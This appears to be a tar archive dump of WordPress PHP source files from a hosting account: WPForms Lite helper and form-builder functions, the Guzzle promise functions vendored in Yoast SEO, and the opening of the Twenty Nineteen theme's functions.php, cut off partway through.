/**
* Returns field choice properties for field configured with dynamic choices.
*
* @since 1.4.5
*
* @param array $field Field settings.
* @param int $form_id Form ID.
* @param array $form_data Form data and settings.
*
* @return false|array
*/
function wpforms_get_field_dynamic_choices( $field, $form_id, $form_data = array() ) {
if ( empty( $field['dynamic_choices'] ) ) {
return false;
}
$choices = array();
if ( 'post_type' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_post_type'] ) ) {
return false;
}
$posts = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_post_type_args',
array(
'post_type' => $field['dynamic_post_type'],
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
),
$field,
$form_id
),
true
);
foreach ( $posts as $post ) {
$choices[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'depth' => isset( $post->depth ) ? absint( $post->depth ) : 1,
);
}
} elseif ( 'taxonomy' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_taxonomy'] ) ) {
return false;
}
$terms = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_taxonomy_args',
array(
'taxonomy' => $field['dynamic_taxonomy'],
'hide_empty' => false,
),
$field,
$form_data
),
true
);
foreach ( $terms as $term ) {
$choices[] = array(
'value' => $term->term_id,
'label' => $term->name,
'depth' => isset( $term->depth ) ? absint( $term->depth ) : 1,
);
}
}
return $choices;
}
/**
* Insert an array into another array before/after a certain key.
*
* @since 1.3.9
* @link https://gist.github.com/scribu/588429
*
* @param array $array The initial array.
* @param array $pairs The array to insert.
* @param string $key The certain key.
* @param string $position Where to insert the array - before or after the key.
*
* @return array
*/
function wpforms_array_insert( $array, $pairs, $key, $position = 'after' ) {
$key_pos = array_search( $key, array_keys( $array ), true );
if ( 'after' === $position ) {
$key_pos ++;
}
if ( false !== $key_pos ) {
$result = array_slice( $array, 0, $key_pos );
$result = array_merge( $result, $pairs );
$result = array_merge( $result, array_slice( $array, $key_pos ) );
} else {
$result = array_merge( $array, $pairs );
}
return $result;
}
/**
* Recursively remove empty strings from an array.
*
* @since 1.3.9.1
*
* @param array $data
*
* @return array
*/
function wpforms_array_remove_empty_strings( $data ) {
foreach ( $data as $key => $value ) {
if ( is_array( $value ) ) {
$data[ $key ] = wpforms_array_remove_empty_strings( $data[ $key ] );
}
if ( '' === $data[ $key ] ) {
unset( $data[ $key ] );
}
}
return $data;
}
/**
* Whether plugin works in a debug mode.
*
* @since 1.2.3
*
* @return bool
*/
function wpforms_debug() {
$debug = false;
if ( ( defined( 'WPFORMS_DEBUG' ) && true === WPFORMS_DEBUG ) && is_super_admin() ) {
$debug = true;
}
$debug_option = get_option( 'wpforms_debug' );
if ( $debug_option ) {
$current_user = wp_get_current_user();
if ( $current_user->user_login === $debug_option ) {
$debug = true;
}
}
return apply_filters( 'wpforms_debug', $debug );
}
/**
* Helper function to display debug data.
*
* @since 1.0.0
*
* @param mixed $data What to dump, can be any type.
* @param bool $echo Whether to print or return. Default is to print.
*
* @return string
*/
function wpforms_debug_data( $data, $echo = true ) {
if ( wpforms_debug() ) {
$output = '<textarea style="background:#fff;margin: 20px 0;width:100%;height:500px;font-size:12px;font-family: Consolas,Monaco,monospace;direction: ltr;unicode-bidi: embed;line-height: 1.4;padding: 4px 6px 1px;" readonly>';
$output .= "=================== WPFORMS DEBUG ===================\n\n";
if ( is_array( $data ) || is_object( $data ) ) {
$output .= print_r( $data, true ); // phpcs:ignore
} else {
$output .= $data;
}
$output .= '</textarea>';
if ( $echo ) {
echo $output; // phpcs:ignore
} else {
return $output;
}
}
}
/**
* Log helper.
*
* @since 1.0.0
*
* @param string $title Title of a log message.
* @param mixed $message Content of a log message.
* @param array $args Expected keys: form_id, meta, parent.
*/
function wpforms_log( $title = '', $message = '', $args = array() ) {
// Require log title.
if ( empty( $title ) ) {
return;
}
// Force logging everything when in debug mode.
if ( ! wpforms_debug() ) {
/**
* Compare error levels to determine if we should log.
* Current supported levels:
* - Errors (error)
* - Spam (spam)
* - Entries (entry)
* - Payments (payment)
* - Providers (provider)
* - Conditional Logic (conditional_logic)
*/
$type = ! empty( $args['type'] ) ? (array) $args['type'] : array( 'error' );
$levels = array_intersect( $type, get_option( 'wpforms_logging', array() ) );
if ( empty( $levels ) ) {
return;
}
}
// Meta.
if ( ! empty( $args['form_id'] ) ) {
$meta = array(
'form' => absint( $args['form_id'] ),
);
} elseif ( ! empty( $args['meta'] ) ) {
$meta = $args['meta'];
} else {
$meta = '';
}
// Parent element.
$parent = ! empty( $args['parent'] ) ? $args['parent'] : 0;
// Make arrays and objects look nice.
if ( is_array( $message ) || is_object( $message ) ) {
$message = '<pre>' . print_r( $message, true ) . '</pre>'; // phpcs:ignore
}
// Create log entry.
wpforms()->logs->add( $title, $message, $parent, $parent, $meta );
}
/**
* Check whether the current page is in AMP mode or not.
* We need to check for specific functions, as there is no special AMP header.
*
* @since 1.4.1
*
* @return bool
*/
function wpforms_is_amp() {
$is_amp = false;
if (
// AMP by Automattic; ampforwp.
( function_exists( 'is_amp_endpoint' ) && is_amp_endpoint() ) ||
// Better AMP.
( function_exists( 'is_better_amp' ) && is_better_amp() )
) {
$is_amp = true;
}
return apply_filters( 'wpforms_is_amp', $is_amp );
}
/**
* Decode special characters, both alpha- (<) and numeric-based (').
*
* @since 1.4.1
*
* @param string $string Raw string to decode.
*
* @return string
*/
function wpforms_decode_string( $string ) {
if ( ! is_string( $string ) ) {
return $string;
}
return wp_kses_decode_entities( html_entity_decode( $string, ENT_QUOTES ) );
}
add_filter( 'wpforms_email_message', 'wpforms_decode_string' );
/**
* Get a suffix for assets, `.min` if debug is disabled.
*
* @since 1.4.1
*
* @return string
*/
function wpforms_get_min_suffix() {
return wpforms_debug() ? '' : '.min';
}
/**
* Get the required label text, with a filter.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_required_label() {
return apply_filters( 'wpforms_required_label', esc_html__( 'This field is required.', 'wpforms-lite' ) );
}
/**
* Get the required field label HTML, with a filter.
*
* @since 1.4.8
*
* @return string
*/
function wpforms_get_field_required_label() {
$label_html = apply_filters_deprecated(
'wpforms_field_required_label',
array( ' <span class="wpforms-required-label">*</span>' ),
'1.4.8 of WPForms plugin',
'wpforms_get_field_required_label'
);
return apply_filters( 'wpforms_get_field_required_label', $label_html );
}
/**
* Get the default capability to manage everything for WPForms.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_capability_manage_options() {
return apply_filters( 'wpforms_manage_cap', 'manage_options' );
}
/**
* Check permissions for currently logged in user.
*
* @since 1.4.4
*
* @return bool
*/
function wpforms_current_user_can() {
$capability = wpforms_get_capability_manage_options();
return apply_filters( 'wpforms_current_user_can', current_user_can( $capability ), $capability );
}
/**
* Get the certain date of a specified day in a specified format.
*
* @since 1.4.4
*
* @param string $period Supported values: start, end.
* @param string $timestamp Default is the current timestamp, if left empty.
* @param string $format Default is a MySQL format.
*
* @return string
*/
function wpforms_get_day_period_date( $period, $timestamp = '', $format = 'Y-m-d H:i:s' ) {
$date = '';
if ( empty( $timestamp ) ) {
$timestamp = time();
}
switch ( $period ) {
case 'start_of_day':
$date = date( $format, strtotime( 'today', $timestamp ) );
break;
case 'end_of_day':
$date = date( $format, strtotime( 'tomorrow', $timestamp ) - 1 );
break;
}
return $date;
}
/**
* Get an array of all the active provider addons.
*
* @since 1.4.7
*
* @return array
*/
function wpforms_get_providers_available() {
return (array) apply_filters( 'wpforms_providers_available', array() );
}
/**
* Get options for all providers.
*
* @since 1.4.7
*
* @param string $provider Define a single provider to get options for this one only.
*
* @return array
*/
function wpforms_get_providers_options( $provider = '' ) {
$options = get_option( 'wpforms_providers', array() );
$provider = sanitize_key( $provider );
$data = $options;
if ( ! empty( $provider ) && isset( $options[ $provider ] ) ) {
$data = $options[ $provider ];
}
return (array) apply_filters( 'wpforms_get_providers_options', $data, $provider );
}
/**
* Update options for all providers.
*
* @since 1.4.7
*
* @param string $provider Provider slug.
* @param array|false $options If false is passed - provider will be removed. Otherwise saved.
* @param string $key Optional key to identify which connection to update. If empty - generate a new one.
*/
function wpforms_update_providers_options( $provider, $options, $key = '' ) {
$providers = wpforms_get_providers_options();
$id = ! empty( $key ) ? $key : uniqid();
$provider = sanitize_key( $provider );
if ( $options ) {
$providers[ $provider ][ $id ] = (array) $options;
} else {
unset( $providers[ $provider ] );
}
update_option( 'wpforms_providers', $providers );
}
/**
* Helper function to determine if loading an WPForms related admin page.
*
* Here we determine if the current administration page is owned/created by
* WPForms. This is done in compliance with WordPress best practices for
* development, so that we only load required WPForms CSS and JS files on pages
* we create. As a result we do not load our assets admin wide, where they might
* conflict with other plugins needlessly, also leading to a better, faster user
* experience for our users.
*
* @since 1.3.9
*
* @param string $slug Slug identifier for a specific WPForms admin page.
* @param string $view Slug identifier for a specific WPForms admin page view ("subpage").
*
* @return boolean
*/
function wpforms_is_admin_page( $slug = '', $view = '' ) {
// Check against basic requirements.
if (
! is_admin() ||
empty( $_REQUEST['page'] ) ||
strpos( $_REQUEST['page'], 'wpforms' ) === false
) {
return false;
}
// Check against page slug identifier.
if (
( ! empty( $slug ) && 'wpforms-' . $slug !== $_REQUEST['page'] ) ||
( empty( $slug ) && 'wpforms-builder' === $_REQUEST['page'] )
) {
return false;
}
// Check against sub-level page view.
if (
! empty( $view ) &&
( empty( $_REQUEST['view'] ) || $view !== $_REQUEST['view'] )
) {
return false;
}
return true;
}
/**
* Get the ISO 639-2 Language Code from user/site locale.
*
* @see http://www.loc.gov/standards/iso639-2/php/code_list.php
*
* @since 1.5.0
*
* @return string
*/
function wpforms_get_language_code() {
$default_lang = 'en';
$locale = get_user_locale();
if ( ! empty( $locale ) ) {
$lang = explode( '_', $locale );
if ( ! empty( $lang ) && is_array( $lang ) ) {
$default_lang = strtolower( $lang[0] );
}
}
return $default_lang;
}
/**
* Determine if we should show the "Show Values" toggle for checkbox, radio, or
* select fields in form builder. Legacy.
*
* @since 1.5.0
*
* @return bool
*/
function wpforms_show_fields_options_setting() {
return apply_filters( 'wpforms_fields_show_options_setting', false );
}
/**
* Check if a string is empty.
*
* @since 1.5.0
*
* @param string $string String to test.
*
* @return bool
*/
function wpforms_is_empty_string( $string ) {
if ( is_string( $string ) && '' === $string ) {
return true;
}
return false;
}
www/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/functions.php 0000644 00000025344 15114310333 0031547 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Promise;
/**
* Get the global task queue used for promise resolution.
*
* This task queue MUST be run in an event loop in order for promises to be
* settled asynchronously. It will be automatically run when synchronously
* waiting on a promise.
*
* <code>
* while ($eventLoop->isRunning()) {
* GuzzleHttp\Promise\queue()->run();
* }
* </code>
*
* @param TaskQueueInterface $assign Optionally specify a new queue instance.
*
* @return TaskQueueInterface
*
* @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
*/
function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue($assign);
}
/**
* Adds a function to run in the task queue when it is next `run()` and returns
* a promise that is fulfilled or rejected with the result.
*
* @param callable $task Task function to run.
*
* @return PromiseInterface
*
* @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
*/
function task(callable $task)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::task($task);
}
/**
* Creates a promise for a value if the value is not a promise.
*
* @param mixed $value Promise or value.
*
* @return PromiseInterface
*
* @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
*/
function promise_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($value);
}
/**
* Creates a rejected promise for a reason if the reason is not a promise. If
* the provided reason is a promise, then it is returned as-is.
*
* @param mixed $reason Promise or reason.
*
* @return PromiseInterface
*
* @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
*/
function rejection_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
}
/**
* Create an exception for a rejected promise value.
*
* @param mixed $reason
*
* @return \Exception|\Throwable
*
* @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
*/
function exception_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason);
}
/**
* Returns an iterator for the given value.
*
* @param mixed $value
*
* @return \Iterator
*
* @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
*/
function iter_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($value);
}
/**
* Synchronously waits on a promise to resolve and returns an inspection state
* array.
*
* Returns a state associative array containing a "state" key mapping to a
* valid promise state. If the state of the promise is "fulfilled", the array
* will contain a "value" key mapping to the fulfilled value of the promise. If
* the promise is rejected, the array will contain a "reason" key mapping to
* the rejection reason of the promise.
*
* @param PromiseInterface $promise Promise or value.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
*/
function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspect($promise);
}
/**
* Waits on all of the provided promises, but does not unwrap rejected promises
* as thrown exception.
*
* Returns an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param PromiseInterface[] $promises Traversable of promises to wait upon.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
*/
function inspect_all($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspectAll($promises);
}
/**
* Waits on all of the provided promises and returns the fulfilled values.
*
* Returns an array that contains the value of each promise (in the same order
* the promises were provided). An exception is thrown if any of the promises
* are rejected.
*
* @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
*
* @return array
*
* @throws \Exception on error
* @throws \Throwable on error in PHP >=7
*
* @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
*/
function unwrap($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::unwrap($promises);
}
/**
* Given an array of promises, return a promise that is fulfilled when all the
* items in the array are fulfilled.
*
* The promise's fulfillment value is an array with fulfillment values at
* respective positions to the original array. If any promise in the array
* rejects, the returned promise is rejected with the rejection reason.
*
* @param mixed $promises Promises or values.
* @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
*
* @return PromiseInterface
*
* @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
*/
function all($promises, $recursive = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::all($promises, $recursive);
}
/**
* Initiate a competitive race between multiple promises or values (values will
* become immediately fulfilled promises).
*
* When count amount of promises have been fulfilled, the returned promise is
* fulfilled with an array that contains the fulfillment values of the winners
* in order of resolution.
*
* This promise is rejected with a {@see AggregateException} if the number of
* fulfilled promises is less than the desired $count.
*
* @param int $count Total number of promises.
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
*/
function some($count, $promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::some($count, $promises);
}
/**
* Like some(), with 1 as count. However, if the promise fulfills, the
* fulfillment value is not an array of 1 but the value directly.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
*/
function any($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::any($promises);
}
/**
* Returns a promise that is fulfilled when all of the provided promises have
* been fulfilled or rejected.
*
* The returned promise is fulfilled with an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
*/
function settle($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::settle($promises);
}
/**
* Given an iterator that yields promises or values, returns a promise that is
* fulfilled with a null value when the iterator has been consumed or the
* aggregate promise has been fulfilled or rejected.
*
* $onFulfilled is a function that accepts the fulfilled value, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* $onRejected is a function that accepts the rejection reason, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* @param mixed $iterable Iterator or array to iterate over.
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
*/
function each($iterable, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected);
}
/**
* Like each, but only allows a certain number of outstanding promises at any
* given time.
*
* $concurrency may be an integer or a function that accepts the number of
* pending promises and returns a numeric concurrency limit value to allow for
* dynamic a concurrency size.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
*/
function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}
/**
* Like each_limit, but ensures that no promise in the given $iterable argument
* is rejected. If any promise is rejected, then the aggregate promise is
* rejected with the encountered rejection.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
*
* @return PromiseInterface
*
* @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
*/
function each_limit_all($iterable, $concurrency, callable $onFulfilled = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}
/**
* Returns true if a promise is fulfilled.
*
* @return bool
*
* @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
*/
function is_fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::fulfilled($promise);
}
/**
* Returns true if a promise is rejected.
*
* @return bool
*
* @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
*/
function is_rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::rejected($promise);
}
/**
* Returns true if a promise is fulfilled or rejected.
*
* @return bool
*
* @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
*/
function is_settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise);
}
/**
* Create a new coroutine.
*
* @see Coroutine
*
* @return PromiseInterface
*
* @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
*/
function coroutine(callable $generatorFn)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Coroutine::of($generatorFn);
}
home/xbodynamge/lebauwcentre/wp-content/plugins/wpforms-lite/includes/admin/builder/functions.php 0000644 00000025341 15114312637 0027575 0 ustar 00 <?php
/**
* Builder related functions.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Outputs fields to be used on panels (settings etc).
*
* @since 1.0.0
*
* @param string $option
* @param string $panel
* @param string $field
* @param array $form_data
* @param string $label
* @param array $args
* @param boolean $echo
*
* @return string
*/
function wpforms_panel_field( $option, $panel, $field, $form_data, $label, $args = array(), $echo = true ) {
// Required params.
if ( empty( $option ) || empty( $panel ) || empty( $field ) ) {
return '';
}
// Setup basic vars.
$panel = esc_attr( $panel );
$field = esc_attr( $field );
$panel_id = sanitize_html_class( $panel );
$parent = ! empty( $args['parent'] ) ? esc_attr( $args['parent'] ) : '';
$subsection = ! empty( $args['subsection'] ) ? esc_attr( $args['subsection'] ) : '';
$label = ! empty( $label ) ? esc_html( $label ) : '';
$class = ! empty( $args['class'] ) ? esc_attr( $args['class'] ) : '';
$input_class = ! empty( $args['input_class'] ) ? esc_attr( $args['input_class'] ) : '';
$default = isset( $args['default'] ) ? $args['default'] : '';
$placeholder = ! empty( $args['placeholder'] ) ? esc_attr( $args['placeholder'] ) : '';
$data_attr = '';
$output = '';
$input_id = sprintf( 'wpforms-panel-field-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $field ) );
if ( ! empty( $args['input_id'] ) ) {
$input_id = esc_attr( $args['input_id'] );
}
// Check if we should store values in a parent array.
if ( ! empty( $parent ) ) {
if ( ! empty( $subsection ) ) {
$field_name = sprintf( '%s[%s][%s][%s]', $parent, $panel, $subsection, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $subsection ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $subsection ][ $field ] : $default;
$input_id = sprintf( 'wpforms-panel-field-%s-%s-%s', sanitize_html_class( $panel_id ), sanitize_html_class( $subsection ), sanitize_html_class( $field ) );
$panel_id = sanitize_html_class( $panel . '-' . $subsection );
} else {
$field_name = sprintf( '%s[%s][%s]', $parent, $panel, $field );
$value = isset( $form_data[ $parent ][ $panel ][ $field ] ) ? $form_data[ $parent ][ $panel ][ $field ] : $default;
}
} else {
$field_name = sprintf( '%s[%s]', $panel, $field );
$value = isset( $form_data[ $panel ][ $field ] ) ? $form_data[ $panel ][ $field ] : $default;
}
if ( isset( $args['field_name'] ) ) {
$field_name = $args['field_name'];
}
if ( isset( $args['value'] ) ) {
$value = $args['value'];
}
// Check for data attributes.
if ( ! empty( $args['data'] ) ) {
foreach ( $args['data'] as $key => $val ) {
if ( is_array( $val ) ) {
$val = wp_json_encode( $val );
}
$data_attr .= ' data-' . $key . '=\'' . $val . '\'';
}
}
// Check for readonly inputs.
if ( ! empty( $args['readonly' ] ) ) {
$data_attr .= 'readonly';
}
// Determine what field type to output.
switch ( $option ) {
// Text input.
case 'text':
$output = sprintf(
'<input type="%s" id="%s" name="%s" value="%s" placeholder="%s" class="%s" %s>',
! empty( $args['type'] ) ? esc_attr( $args['type'] ) : 'text',
$input_id,
$field_name,
esc_attr( $value ),
$placeholder,
$input_class,
$data_attr
);
break;
// Textarea.
case 'textarea':
$output = sprintf(
'<textarea id="%s" name="%s" rows="%d" placeholder="%s" class="%s" %s>%s</textarea>',
$input_id,
$field_name,
! empty( $args['rows'] ) ? (int) $args['rows'] : '3',
$placeholder,
$input_class,
$data_attr,
esc_textarea( $value )
);
break;
// TinyMCE.
case 'tinymce':
$id = str_replace( '-', '_', $input_id );
$args['tinymce']['textarea_name'] = $field_name;
$args['tinymce']['teeny'] = true;
$args['tinymce'] = wp_parse_args( $args['tinymce'], array(
'media_buttons' => false,
'teeny' => true,
) );
ob_start();
wp_editor( $value, $id, $args['tinymce'] );
$output = ob_get_clean();
break;
// Checkbox.
case 'checkbox':
$output = sprintf(
'<input type="checkbox" id="%s" name="%s" value="1" class="%s" %s %s>',
$input_id,
$field_name,
$input_class,
checked( '1', $value, false ),
$data_attr
);
$output .= sprintf(
'<label for="%s" class="inline">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
$output .= '</label>';
break;
// Radio.
case 'radio':
$options = $args['options'];
$radio_counter = 1;
$output = '';
foreach ( $options as $key => $item ) {
if ( empty( $item['label'] ) ) {
continue;
}
$item_value = ! empty( $item['value'] ) ? $item['value'] : $key;
$output .= '<span class="row">';
if ( ! empty( $item['pre_label'] ) ) {
$output .= '<label>' . $item['pre_label'];
}
$output .= sprintf(
'<input type="radio" id="%s-%d" name="%s" value="%s" class="%s" %s %s>',
$input_id,
$radio_counter,
$field_name,
$item_value,
$input_class,
checked( $item_value, $value, false ),
$data_attr
);
if ( empty( $item['pre_label'] ) ) {
$output .= sprintf(
'<label for="%s-%d" class="inline">%s',
$input_id,
$radio_counter,
$item['label']
);
} else {
$output .= '<span class="wpforms-panel-field-radio-label">' . $item['label'] . '</span>';
}
if ( ! empty( $item['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $item['tooltip'] ) );
}
$output .= '</label></span>';
$radio_counter ++;
}
if ( ! empty( $output ) ) {
$output = '<div class="wpforms-panel-field-radio-container">' . $output . '</div>';
}
break;
// Select.
case 'select':
if ( empty( $args['options'] ) && empty( $args['field_map'] ) ) {
return '';
}
if ( ! empty( $args['field_map'] ) ) {
$options = array();
$available_fields = wpforms_get_form_fields( $form_data, $args['field_map'] );
if ( ! empty( $available_fields ) ) {
foreach ( $available_fields as $id => $available_field ) {
$lbl = ! empty( $available_field['label'] ) ? esc_attr( $available_field['label'] ) : esc_html__( 'Field #' ) . $id;
$options[ $id ] = $lbl;
}
}
$input_class .= ' wpforms-field-map-select';
$data_attr .= ' data-field-map-allowed="' . implode( ' ', $args['field_map'] ) . '"';
if ( ! empty( $placeholder ) ) {
$data_attr .= ' data-field-map-placeholder="' . esc_attr( $placeholder ) . '"';
}
} else {
$options = $args['options'];
}
$output = sprintf(
'<select id="%s" name="%s" class="%s" %s>',
$input_id,
$field_name,
$input_class,
$data_attr
);
if ( ! empty( $placeholder ) ) {
$output .= '<option value="">' . $placeholder . '</option>';
}
foreach ( $options as $key => $item ) {
$output .= sprintf( '<option value="%s" %s>%s</option>', esc_attr( $key ), selected( $key, $value, false ), $item );
}
$output .= '</select>';
break;
}
// Put the pieces together.
$field_open = sprintf(
'<div id="%s-wrap" class="wpforms-panel-field %s %s">',
$input_id,
$class,
'wpforms-panel-field-' . sanitize_html_class( $option )
);
$field_open .= ! empty( $args['before'] ) ? $args['before'] : '';
if ( 'checkbox' !== $option && ! empty( $label ) ) {
$field_label = sprintf(
'<label for="%s">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$field_label .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
if ( ! empty( $args['after_tooltip'] ) ) {
$field_label .= $args['after_tooltip'];
}
if ( ! empty( $args['smarttags'] ) ) {
$type = ! empty( $args['smarttags']['type'] ) ? esc_attr( $args['smarttags']['type'] ) : 'fields';
$fields = ! empty( $args['smarttags']['fields'] ) ? esc_attr( $args['smarttags']['fields'] ) : '';
$field_label .= '<a href="#" class="toggle-smart-tag-display" data-type="' . $type . '" data-fields="' . $fields . '"><i class="fa fa-tags"></i> <span>' . esc_html__( 'Show Smart Tags', 'wpforms-lite' ) . '</span></a>';
}
$field_label .= '</label>';
if ( ! empty( $args['after_label'] ) ) {
$field_label .= $args['after_label'];
}
} else {
$field_label = '';
}
$field_close = ! empty( $args['after'] ) ? $args['after'] : '';
$field_close .= '</div>';
$output = $field_open . $field_label . $output . $field_close;
// Wash our hands.
if ( $echo ) {
echo $output;
} else {
return $output;
}
}
/**
* Get notification state, whether it's opened or closed.
*
* @since 1.4.1
* @deprecated 1.4.8
*
* @param int $form_id
* @param int $notification_id
*
* @return string
*/
function wpforms_builder_notification_get_state( $form_id, $notification_id ) {
_deprecated_function( __FUNCTION__, '1.4.8 of WPForms plugin', 'wpforms_builder_settings_block_get_state()' );
return wpforms_builder_settings_block_get_state( $form_id, $notification_id, 'notification' );
}
/**
* Get settings block state, whether it's opened or closed.
*
* @since 1.4.8
*
* @param int $form_id
* @param int $block_id
* @param string $block_type
*
* @return string
*/
function wpforms_builder_settings_block_get_state( $form_id, $block_id, $block_type ) {
$form_id = absint( $form_id );
$block_id = absint( $block_id );
$block_type = sanitize_key( $block_type );
$state = 'opened';
$all_states = get_user_meta( get_current_user_id(), 'wpforms_builder_settings_collapsable_block_states', true );
if ( empty( $all_states ) ) {
return $state;
}
if (
is_array( $all_states ) &&
! empty( $all_states[ $form_id ][ $block_type ][ $block_id ] ) &&
'closed' === $all_states[ $form_id ][ $block_type ][ $block_id ]
) {
$state = 'closed';
}
// Backward compatibility for notifications.
if ( 'notification' === $block_type && 'closed' !== $state ) {
$notification_states = get_user_meta( get_current_user_id(), 'wpforms_builder_notification_states', true );
}
if (
! empty( $notification_states[ $form_id ][ $block_id ] ) &&
'closed' === $notification_states[ $form_id ][ $block_id ]
) {
$state = 'closed';
}
if ( 'notification' === $block_type ) {
// Backward compatibility for notifications.
return apply_filters( 'wpforms_builder_notification_get_state', $state, $form_id, $block_id );
}
return apply_filters( 'wpforms_builder_settings_block_get_state', $state, $form_id, $block_id, $block_type );
}
home/xbodynamge/crosstraining/wp-content/themes/twentynineteen/functions.php 0000604 00000023463 15114365731 0023714 0 ustar 00 <?php
/**
* Twenty Nineteen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Nineteen
* @since 1.0.0
*/
/**
* Twenty Nineteen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
if ( ! function_exists( 'twentynineteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentynineteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
